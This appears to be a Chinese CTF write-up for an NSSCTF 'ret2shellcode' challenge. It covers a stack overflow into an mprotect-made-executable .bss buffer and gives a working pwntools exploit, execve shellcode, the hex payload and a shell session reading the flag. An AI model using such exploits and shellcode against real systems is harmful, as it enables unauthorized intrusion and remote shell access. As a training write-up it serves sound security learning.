PWN入门-ret2shellcode-2

Mon Sep 16 2024

解题

checksec

SH
1
2
3
4
5
6
7
8
9
10
checksec --file shellcode2
[*] '/pwn/pwnfiles/shellcode2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

可以看到她是一个64位的程序,并且开启了NX保护

附件

打开附件发现本题附有源码

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
char buff[256];
int main()
{
    setbuf(stdin,0);
    setbuf(stderr,0);
    setbuf(stdout,0);
    mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
    char buf[256];
    memset(buf,0,0x100);
    read(0,buf,0x110);
    strcpy(buff,buf);
    return 0;
}

这里可以看到buff未被初始化,并且还有一个mprotect函数

IDA

Alt text

这里可以看到s[256]在栈上,同时buff在源码内未被初始化,buff在.bss段上,并且s[256]到栈底的距离是0x100

在程序开启NX保护的时候,常使用mprotect()函数攻击,因为它能够修改内存的执行权限,从而绕过 NX 保护,使攻击者注入的恶意代码得以执行。

mprotect函数

C
1
int mprotect(void *addr, size_t len, int prot);

addr:需要更改权限的内存区域的起始地址(通常要对齐到页边界)。

len:需要更改权限的内存区域的长度。

prot:新的内存访问权限,例如 PROT_READ | PROT_WRITE | PROT_EXEC,表示同时拥有读、写、执行权限。

使用GBD调试

因为buff字段在main函数上,所以先下断点到main函数下

寻找buff所在位置

SH
1
2
pwndbg> info address buff
Symbol "buff" is at 0x4040a0 in a file compiled without debugging.

查看0x4040a0的权限

SH
1
2
3
4
5
6
vmmap 0x4040a0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x403000           0x404000 r--p     1000   2000 /pwn/pwnfiles/shellcode2
         0x404000           0x405000 rw-p     1000   3000 /pwn/pwnfiles/shellcode2 +0xa0
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6

发现只有rwp的权限

因为是使用mprotect函数进行攻击,在下断点到0x401220(call_mprotect)

再次查看0x4040a0的权限

SH
1
2
3
4
5
6
vmmap 0x4040a0       
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x403000           0x404000 r--p     1000   2000 /pwn/pwnfiles/shellcode2
         0x404000           0x405000 rw-p     1000   3000 /pwn/pwnfiles/shellcode2 +0xa0
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6

此时因为mprotect函数还没有执行,所以权限没有改变,单步跳过一下

再次查看0x4040a0的权限

SH
1
2
3
4
5
6
pwndbg> vmmap 0x4040a0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x403000           0x404000 r--p     1000   2000 /pwn/pwnfiles/shellcode2
         0x404000           0x405000 rwxp     1000   3000 /pwn/pwnfiles/shellcode2 +0xa0
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6

这里可以看到权限已经修改了,说明猜想成立

编写exp

PYTHON
1
2
3
4
5
6
7
8
9
from pwn import *
context(arch='amd64',log_level='debug')
io=remote("node5.anna.nssctf.cn",21356)
buff_addr= 0x4040a0
shellcode=asm(shellcraft.sh())
payload= shellcode.ljust(0x100+8, b'a') + p64(buff_addr)
#ljust(width, fillchar):这是 Python 中字符串的一个方法,用于将字符串的长度填充到指定的宽度。如果原始字符串不足 width 的长度,则在其右侧填充指定的字符。
io.sendline(payload)
io.interactive()

获取flag

SH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
python3 exp_ret2shellcode2.py 
[+] Opening connection to node5.anna.nssctf.cn on port 29037: Done
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.12/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        mov rax, 0x732f2f2f6e69622f
        push rax
        mov rdi, rsp
        /* push argument array ['sh\x00'] */
        /* push b'sh\x00' */
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi /* 0 */
        push rsi /* null terminate */
        push 8
        pop rsi
        add rsi, rsp
        push rsi /* 'sh\x00' */
        mov rsi, rsp
        xor edx, edx /* 0 */
        /* call execve() */
        push 59 /* 0x3b */
        pop rax
        syscall
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-hjm392qa/step2 /tmp/pwn-asm-hjm392qa/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-hjm392qa/step3 /tmp/pwn-asm-hjm392qa/step4
[DEBUG] Sent 0x111 bytes:
    00000000  6a 68 48 b8  2f 62 69 6e  2f 2f 2f 73  50 48 89 e7  │jhH·│/bin│///s│PH··│
    00000010  68 72 69 01  01 81 34 24  01 01 01 01  31 f6 56 6a  │hri·│··4$│····│1·Vj│
    00000020  08 5e 48 01  e6 56 48 89  e6 31 d2 6a  3b 58 0f 05  │·^H·│·VH·│·1·j│;X··│
    00000030  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000100  61 61 61 61  61 61 61 61  a0 40 40 00  00 00 00 00  │aaaa│aaaa│·@@·│····│
    00000110  0a                                                  │·│
    00000111
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x36 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'libexec\n'
    b'libx32\n'
    b'shellcode\n'
bin
dev
flag
lib
lib32
lib64
libexec
libx32
shellcode
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x26 bytes:
    b'nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}\n'
nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}
$